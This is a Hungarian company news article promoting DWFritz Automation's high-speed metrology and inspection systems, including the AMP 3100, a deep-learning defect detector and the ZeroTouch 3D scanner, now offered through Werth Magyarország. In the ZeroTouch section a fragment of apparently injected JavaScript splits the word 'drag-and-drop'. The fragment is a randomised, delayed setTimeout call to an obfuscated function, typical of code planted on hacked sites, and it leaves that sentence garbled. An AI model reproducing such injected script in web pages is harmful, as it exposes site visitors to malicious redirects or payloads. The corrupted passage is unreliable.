Híreink

Ultrapontos, testreszabott méréstechnika vált elérhetővé Magyarországon

Újabb iparági éllovas céggel erősítette meg kínálatát a Werth Magyarország Kft. Az autóipari hajtásláncalkatrészek, sebességváltók, kormányés motoralkatrészek gyártásközi mérésében közel 50 éves szakértelemmel rendelkező DWFritz Automation sztenderd vagy testreszabott rendszerei már az orvostechnikai ipar, a fogyasztói elektronika,
a repülőgépgyártás, a félvezetőipar, illetve a precíziós ipar számára is elérhetővé váltak.

Az 1973-ban alapított DWFritz Automation a precíziós méréstechnikai, ellenőrzési és összeszerelési megoldások egyik vezető gyártója. Az automatizálási rendszerek és a nagysebességű, érintésmentes méréstechnikai megoldások mellett a vállalat high-tech célgépeket is épít. A nagysebességű metrológiától és hibafelderítéstől a folyamatautomatizáláson át az anyagmozgatásig terjedő kompetencia komplex gyártási kihívások leküzdésére is képes, jelentősen javítva a működési hatékonyságot és a befektetések megtérülését.

Kutatás és fejlesztés

A DWFritz K+F laboratóriuma az innovatív koncepciók tesztelésére és optimalizálására szolgál:

• Rapid Proof of Principle (az elv gyors igazolását célzó) fejlesztése;
• az alkatrészek minősítése és kalibrálása;
• a modern gépi látást szolgáló megvilágítás tervezése és tesztelése;
• a modern gépi látást lehetővé tevő kamerák és 3D érzékelők tesztelése;
• egyedi szoftverek és alkalmazások fejlesztése;
• rendszerprototípus készítése.

Tevékenységi körök

Nagysebességű méréstechnika

Fejlett, automatizált, érintésmentes metrológiai megoldások tervezése és gyártása, amelyekkel kiváló minőség és nagy áteresztőképesség érhető el. A DWFritz által létrehozott rendszerek a GRR-megfelelőségi követelményeknek maximálisan megfelelő szubmikronos pontosságra is képesek.

Hibafelderítés és osztályozás

Az egyedi, nagysebességű, automatizált ellenőrző rendszerek az anyagok széles skáláján – beleértve az átlátszó és áttetsző anyagokat is – azonosítják és osztályozzák a mikron méretű hibákat és a felületi pontatlanságokat.

Folyamatautomatizálás

A DWFritz szakterülete a precíziós összeszerelési és tesztelési feladatok automatizálása. Az erre készült berendezések olyan folyamatelemeket tartalmaznak, mint a precíziós adagolás, a hegesztés és az erőérzékelés.

Modern anyagmozgatás

A gépi látást elősegítő rendszerek és a szenzortechnika révén az anyagmozgatást több szabadságfokon keresztül hangolják össze, támogatva az ellenőrzési és folyamatautomatizálási megoldások optimális működését.

Termékek és megoldások

AMP 3100 méréstechnikai platform a nagy darabszámok vizsgálatához

Az automatizált, nagysebességű ellenőrző rendszer a kis méretű alkatrészek gyártásában használható ideálisan. A nagy mennyiségű gyártás 100%-os ellenőrzésére tervezett multiszenzoros, érintés nélküli AMP 3100 mérőgép a gépi látást lehetővé tevő rendszerrel, lézertechnikával, testreszabott megvilágítással, fejlett robotikával, hibafeltáró képességekkel és rugalmas anyagmozgatási opciókkal rendelkezik. Az AMP 3100 feldolgozási sebessége meghaladja a másodpercenkénti négy alkatrészt, emellett a koordináta-mérőgépek (CMM) és az optikai mérőgépek (OMM) mérési képességeivel megegyező vagy azokat meg is haladó mérési eredményeket képes szolgáltatni. A megnövelt áteresztőképesség révén a nagy darabszámú gyártás is 100%-osan ellenőrizhető.

Hibakereső rendszer

A mélytanulás technológiájával működő platform gyorsan, megbízhatóan és pontosan azonosítja a felületi hiányosságokat. A fejlett gépi látást is alkalmazó intelligens ellenőrző rendszer másodpercek alatt azonosítja az összetett felületek hibáit vagy rendellenességeit, segítve a gyártókat a költségek csökkentésében és a minőségi elvárások teljesítésében. Míg a hagyományos gépi látás szabályokon alapuló algoritmusokat használ és pontos hibadefiníciókat igényel, a mélytanuláson alapuló szoftver jó és rossz alkatrészek képeiből tanul, csökkentve ezzel a hibák meghatározásához és a változó követelményekre való reagáláshoz szükséges időt. A rendszer egyedi világítási megoldásokat és rögzítéseket használ, ezenkívül modern anyagmozgatási technológiával is kombinálható.

ZeroTouch® – 3D alkatrészmérés időveszteség nélkül

A nagysebességű ZeroTouch® mérő- és ellenőrző rendszer minden eddiginél gyorsabban dolgozza fel a bonyolult geometriákat. Az érintés nélkül dolgozó multiszenzoros
berendezés valós időben képes 3D mérések elvégzésére. A szoftver egy rendkívül pontos, sűrű 3D pontfelhőt hoz létre. A bonyolult programozási eljárások leegyszerűsítésével a platform néhány órára csökkenti a rendszer konfigurációs idejét, ezáltal jelentős gyártási időt és költségeket takarítva meg.

A legtöbb hagyományos érintésalapú ellenőrzési rendszert hosszú mérési ciklusidők és átállási idők jellemzik, emiatt nem alkalmasak nagy mennyiségű adatpont előállítására, ami a komplex felületek gyártásközi mérésének alapfeltétele. A programozás, valamint maga a mérési folyamat gyakran sok időt vesz igénybe, ezenkívül a gyártásban igényelt ellenőrzési feladatok gyakran nem egyeznek a K+F vagy az előgyártási tesztek során alkalmazott mérési igényekkel.

A 240 × 150 × 190 cm méretű és 3 550 kg súlyú ZeroTouch® rendszerben akár 300 × 300 × 300 mm méretű és 10 kg súlyú alkatrészek is mérhetők. Az öttengelyes ZeroTouch® mérőrendszer egyetlen szkenneléssel másodpercenként akár 4 millió adatpontot rögzít a sűrű 3D pontfelhő létrehozásához, így a bonyolult alkatrész-geometriák is gyorsan és nagy ismétlési pontossággal mérhetők. A rendszer a lézer- és a kromatikus konfokális érzékelőket a multispektrális megvilágítású, nagy felbontású kamerákkal kombinálja. Mivel nincs szükség az érzékelő cseréjére, a ciklusidő jelentősen lerövidülhet.

A mérőgép tervezése során kiemelt szempont volt a hoszszú távú megbízhatóság és így a kopásmentes konstrukció. A sík légrugós szerkezetben a mozgó elemek, mint például a mérőplatform és az érzékelők, gyakorlatilag nem okoznak súrlódást a mérési folyamat során. Az alkatrész-ellenőrzési tervek néhány órán belül elkészíthetők, és a gyártásvégrehajtási rendszerben (MES) tárolhatók. A menüvezérelt eszközök révén a gép működtetése nem igényel programozási ismereteket. A tervek egyszerű drag-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-drop funkcióval elkészíthetők.

Az adatintegritás érdekében a mért darabok adatai megőrzésre kerülnek, illetve az alkatrészek/szerelvények vonalkódokkal is elláthatóak, amiket a mérőgép beolvas: a mérési program ezután automatikusan betöltődik a MES-ből. A gépkezelő biztonsága érdekében a gép addig nem mozog, amíg a kapcsolószekrény ajtaja nyitva van, vagy amíg a fényfüggöny interferenciát jelez.

A mérési folyamat után a 3D pontfelhő azonnal elemezhető: vagyis a szkennelt eredmények összehasonlíthatók a CAD-modellekkel vagy a korábban beolvasott és mért referencia-alkatrészekkel, hogy ezáltal ne csak a GD&T értékeket ellenőrizzék, hanem más, korábban nem észlelt problémákat (pl. a felület hibáit) is. A statisztikai folyamatszabályozás segítségével a hibák vagy a tűrésen kívüli eltérések gyorsan észlelhetők, és a megfelelő jelentések visszaküldhetők a MES-be. Ez lehetővé teheti a folyamatparaméterek beállítását az upstream (a szerelőrészlegig tartó) gyártási folyamatokban, hogy minimalizálják a downstream (a késztermék előállítását célzó) területen keletkező selejtet.